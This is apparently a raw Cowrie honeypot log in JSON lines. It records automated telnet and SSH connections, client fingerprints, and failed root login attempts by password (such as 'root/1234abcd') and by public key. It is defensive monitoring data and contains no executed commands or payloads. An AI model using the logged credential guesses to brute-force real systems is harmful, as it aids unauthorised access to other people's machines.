{"eventid":"cowrie.session.closed","duration":4.1567723751068115,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.312865Z","src_ip":"34.62.84.93","session":"036e5dca2003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.319774150848389,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.316289Z","src_ip":"34.62.84.93","session":"b50a004a8652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.480204820632935,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.319970Z","src_ip":"34.62.84.93","session":"a5ffb9d29a51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.802617073059082,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.324522Z","src_ip":"34.62.84.93","session":"008ad496e60f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.644646406173706,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.328254Z","src_ip":"34.62.84.93","session":"0ed03b56e7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.299449920654297,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.342103Z","src_ip":"34.62.84.93","session":"2a0e2f6e6c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.643356800079346,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.346747Z","src_ip":"34.62.84.93","session":"71f07b73a2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.766253Z","src_ip":"43.134.71.92","session":"1b8406e30c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.886682Z","src_ip":"103.249.84.242","session":"d0d211f0fce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":39482,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bfffb602b7","protocol":"ssh","message":"New connection: 45.119.212.99:39482 (10.17.0.5:22) [session: 27bfffb602b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:22.772366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:22.778150Z","src_ip":"45.119.212.99","session":"27bfffb602b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:23.126820Z","src_ip":"45.119.212.99","session":"27bfffb602b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:24.391033Z","src_ip":"45.119.212.99","session":"27bfffb602b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:25.648854Z","src_ip":"45.119.212.99","session":"27bfffb602b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":36636,"dst_ip":"10.17.0.5","dst_port":22,"session":"6210eedbd934","protocol":"ssh","message":"New connection: 89.127.197.59:36636 (10.17.0.5:22) [session: 6210eedbd934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:28.810106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:28.815556Z","src_ip":"89.127.197.59","session":"6210eedbd934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:28.941274Z","src_ip":"89.127.197.59","session":"6210eedbd934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isik","message":"login attempt [root/isik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:29.468282Z","src_ip":"89.127.197.59","session":"6210eedbd934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.358009338378906,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:30.532580Z","src_ip":"192.119.13.58","session":"0e304c5009a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:30.596676Z","src_ip":"89.127.197.59","session":"6210eedbd934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f061b7b5dd24","protocol":"ssh","message":"New connection: 189.203.163.10:55900 (10.17.0.5:22) [session: f061b7b5dd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:57.138585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:57.142920Z","src_ip":"189.203.163.10","session":"f061b7b5dd24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:57.203998Z","src_ip":"189.203.163.10","session":"f061b7b5dd24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"454545","message":"login attempt [root/454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:57.473950Z","src_ip":"189.203.163.10","session":"f061b7b5dd24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:58.536952Z","src_ip":"189.203.163.10","session":"f061b7b5dd24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":28412,"dst_ip":"10.17.0.5","dst_port":22,"session":"3853cba88e7c","protocol":"ssh","message":"New connection: 103.75.71.22:28412 (10.17.0.5:22) [session: 3853cba88e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.062656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.067228Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.206692Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:ad:1e:62:34:df:2b:62:5b:50:74:b4:8e:26:25:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCut6dl9W4hKuq1eKMWa4DKvq0jsCzf9S3bUnwbSc5sVK/q4M87emVgfVwxRsw9tKqDeuvesq0FgHscLOzprmV+RBBAAqYy/dVLADnP1oqJBf6oVAk4D92HVrudW280KCUM9Hm1c3ueQSg2Y3eMPKzmGwx+1sGee8Aadbik4jmciADnU6gk7eywTRL6s9X5A22WcX6fQtwW7x/iUUbHX2KPRYkKPPVTDNT+kKMRODNTsK5fWaCcz/HjLzaYk/eNNfpQbosme/i78rdQVYnHcXJG6yWIb+QzlUH+fb2tVxe5+7h6m57vfF9es55tz5yebmEbZCO76f9pi9KZiTBmbK+f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:ad:1e:62:34:df:2b:62:5b:50:74:b4:8e:26:25:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.853091Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:ad:1e:62:34:df:2b:62:5b:50:74:b4:8e:26:25:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCut6dl9W4hKuq1eKMWa4DKvq0jsCzf9S3bUnwbSc5sVK/q4M87emVgfVwxRsw9tKqDeuvesq0FgHscLOzprmV+RBBAAqYy/dVLADnP1oqJBf6oVAk4D92HVrudW280KCUM9Hm1c3ueQSg2Y3eMPKzmGwx+1sGee8Aadbik4jmciADnU6gk7eywTRL6s9X5A22WcX6fQtwW7x/iUUbHX2KPRYkKPPVTDNT+kKMRODNTsK5fWaCcz/HjLzaYk/eNNfpQbosme/i78rdQVYnHcXJG6yWIb+QzlUH+fb2tVxe5+7h6m57vfF9es55tz5yebmEbZCO76f9pi9KZiTBmbK+f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.857680Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:15:59:0a:1e:c9:f7:e7:6d:90:b3:aa:12:c9:d9:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF9r9xi5GcrVnkMT6WZvWxgH6yMf6ySAg2q13yF6m5vrI5M3tKKFW+RDaQQtdP5VmbVjpv+wZqfHAtdxgEScGHSOQAW7YE2Sy/bRnw6RgRdFUn8HWMwxRb6YnFFArkrbN7J0j5MVIWGdf5pXs7yrllJb8qtmdzKAJkKxsP6MLlTFJb0znz+/yvKO+ybO35n+CJxRpcZd3TDnl5jpFFKekBjQ/g2Txn//ytT+qvP2iesUclx68Qh8+wfUEk+Faf54nGKd5LJBWVZdmPiCsId0f+FwZwnXvPxMHE/X/AIXgFC3vUK8IFDXEyMX7+BpMzETgQjnysdJpkpoRzAEbc4cGSx/f9iwfuyFx/wHItR4VeEF2KaFYmKDBU8DDLwjiFFTnJewZ6OyrNLvw2vADsjD6eQ1HWGvh8dd/EFxOi2EJXmB2P4ucFHCRWw/PB2chE4HGxTOT7wYbtN5uaVZcTPXoPHcVd9ZxRrDy87hVJpCUndYs8m7HJcFFpG73piV7bmj5gJme3gK7yBLGnYb7A8ImVM3UbDccTmkL7Uwo8ftLDoSvwYguu3r+gh8Y7GQOwHHYeZmoJcPDPCGGY+qT+2eCDqzzYmW2e063pfG/6tf9Rs2rskP0JybFM7ApmsBnXAtrMCgeyr4bbiP/71GbQubEUXSCqa+ZQ3DD/zGU7csZssQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:15:59:0a:1e:c9:f7:e7:6d:90:b3:aa:12:c9:d9:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.992669Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:15:59:0a:1e:c9:f7:e7:6d:90:b3:aa:12:c9:d9:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF9r9xi5GcrVnkMT6WZvWxgH6yMf6ySAg2q13yF6m5vrI5M3tKKFW+RDaQQtdP5VmbVjpv+wZqfHAtdxgEScGHSOQAW7YE2Sy/bRnw6RgRdFUn8HWMwxRb6YnFFArkrbN7J0j5MVIWGdf5pXs7yrllJb8qtmdzKAJkKxsP6MLlTFJb0znz+/yvKO+ybO35n+CJxRpcZd3TDnl5jpFFKekBjQ/g2Txn//ytT+qvP2iesUclx68Qh8+wfUEk+Faf54nGKd5LJBWVZdmPiCsId0f+FwZwnXvPxMHE/X/AIXgFC3vUK8IFDXEyMX7+BpMzETgQjnysdJpkpoRzAEbc4cGSx/f9iwfuyFx/wHItR4VeEF2KaFYmKDBU8DDLwjiFFTnJewZ6OyrNLvw2vADsjD6eQ1HWGvh8dd/EFxOi2EJXmB2P4ucFHCRWw/PB2chE4HGxTOT7wYbtN5uaVZcTPXoPHcVd9ZxRrDy87hVJpCUndYs8m7HJcFFpG73piV7bmj5gJme3gK7yBLGnYb7A8ImVM3UbDccTmkL7Uwo8ftLDoSvwYguu3r+gh8Y7GQOwHHYeZmoJcPDPCGGY+qT+2eCDqzzYmW2e063pfG/6tf9Rs2rskP0JybFM7ApmsBnXAtrMCgeyr4bbiP/71GbQubEUXSCqa+ZQ3DD/zGU7csZssQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:04.997388Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:65:7d:31:f3:74:83:c2:cc:9c:12:10:ce:10:7b:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqivIFcd3C1+jb3Qf50KMtcRNCfRRfmsKw/vUFqcDTsVEkH4JGMASxclm1NW6XgWV+Asg16j6bnKEHymbCmkzHDeNJ0yVByw1aK8nIHScNJVLMGeCK9rgGjhzsTYCmiFL/rVWvPA+K2RCsuSnex6hdvz9mIUupfh+DccPW9UWbm4GGK3/Y20xgQUwgIcskLX4lZh05/mXZjgnV+IrMB0SMGYxUgEPONkgoTFajQhQbU76xMebIanYof7H2ud5Yxz7LwsXlRdYOfYJtOzVksWASxCCPaKDDvai/eF406OdVjNyDEGhvW43qhL6BQU15j4DOAVn9ryuUrYIsIJG7ouvt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:65:7d:31:f3:74:83:c2:cc:9c:12:10:ce:10:7b:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.132234Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:65:7d:31:f3:74:83:c2:cc:9c:12:10:ce:10:7b:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqivIFcd3C1+jb3Qf50KMtcRNCfRRfmsKw/vUFqcDTsVEkH4JGMASxclm1NW6XgWV+Asg16j6bnKEHymbCmkzHDeNJ0yVByw1aK8nIHScNJVLMGeCK9rgGjhzsTYCmiFL/rVWvPA+K2RCsuSnex6hdvz9mIUupfh+DccPW9UWbm4GGK3/Y20xgQUwgIcskLX4lZh05/mXZjgnV+IrMB0SMGYxUgEPONkgoTFajQhQbU76xMebIanYof7H2ud5Yxz7LwsXlRdYOfYJtOzVksWASxCCPaKDDvai/eF406OdVjNyDEGhvW43qhL6BQU15j4DOAVn9ryuUrYIsIJG7ouvt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.136031Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:e5:14:ae:17:23:71:c0:d3:69:71:fd:36:8b:31:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmHquerzhmc9NjwajfXpGTq5SbABjo6kU+QTkQw+++Ol/7eX8zFVhB590vA/IlmQrABF+1WGpQd6uVjn4BJ2LI+s4qKQAbJHLkiOV5RvRBa+I1Xv9NQtAXtWvzGIewp0qOU3ZkzSIJyCON8talJxVj302q7mAht8ea+wpiVKyBWELOteIM092go74IVj6lZ0Et6OpVQfg6D+1+LKJXQNbl4lyODXOdwFJi4+J2+Zw18Z7ajFrP42cEDfK9kC3HF4tS/g7kB4ykeAcW28J8Bf8F471hlN/8EamkWxkOHR/vGb57OUPwAQREcRlUTk81HIr77IJ9M+sRwumo4psbMTiB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:e5:14:ae:17:23:71:c0:d3:69:71:fd:36:8b:31:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.270890Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:e5:14:ae:17:23:71:c0:d3:69:71:fd:36:8b:31:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmHquerzhmc9NjwajfXpGTq5SbABjo6kU+QTkQw+++Ol/7eX8zFVhB590vA/IlmQrABF+1WGpQd6uVjn4BJ2LI+s4qKQAbJHLkiOV5RvRBa+I1Xv9NQtAXtWvzGIewp0qOU3ZkzSIJyCON8talJxVj302q7mAht8ea+wpiVKyBWELOteIM092go74IVj6lZ0Et6OpVQfg6D+1+LKJXQNbl4lyODXOdwFJi4+J2+Zw18Z7ajFrP42cEDfK9kC3HF4tS/g7kB4ykeAcW28J8Bf8F471hlN/8EamkWxkOHR/vGb57OUPwAQREcRlUTk81HIr77IJ9M+sRwumo4psbMTiB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.274846Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:df:3e:ab:bf:e5:47:c3:75:82:c4:8f:c5:5e:7e:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwfwtFiZkRRe7i4Coi7OKMF3KOBDqNYD35DbuojCoFgwIDbfVuQXZU/0gR6jG2+i7NRj3EkRKmI0Ssbh3w/Gxz6C5bHJ83TSXNOXYtDWbfWlPNQ+hOWh1pJPTCXKKc154FD3f3N40stea+WN1hx6+wIi8RtIW+tUebDTE2OLfQgwgkDGgTk+vypbmvaWjtJowPhs7GPgaHqdAEulNDNQ4q4X0xEPFtznoeOMvFkS05bg8RiaMnDUmwutAS+HHKZsnangvXCqNAVv2BowfIPiltXXhF6IWTJeHPZ8OBG1zxDjnbaB0zbiAHL8r8gPQz/1d3lMxrur9JRu7wMtwN+SX27G6DlHV7iPtpxNl5yZISddh9oZPfQcRdy/l4USo5ttdk13kgFm40eusFWwFSNKXcOiefQRLX+z4scJXxS/O18Bo9to/p+/j9m3cwrOnL6/I8GVKfFTvEKJkV3zYvRxHOT/520WDpMOcJ3rQykLmlwJE7NE/1Hr+hHiijtNHPKWHeu23wL+NwlyBSOTmpT/iFgiKsAuSQcV5cfGQvDi/9lgEhiLcgzVJESZmOZnfdDWJ07+b3btY0ihspYPhrtkTTO1jrl/w+ZpchH6q2uASziceb7eYr6nDa8TU1Oslr3gRMbUGikqqUtruH1LDTYGXHwRx0e3CYQjT3UABXjznt7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:df:3e:ab:bf:e5:47:c3:75:82:c4:8f:c5:5e:7e:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:05.411705Z","src_ip":"103.75.71.22","session":"3853cba88e7c","protocol":"ssh"}
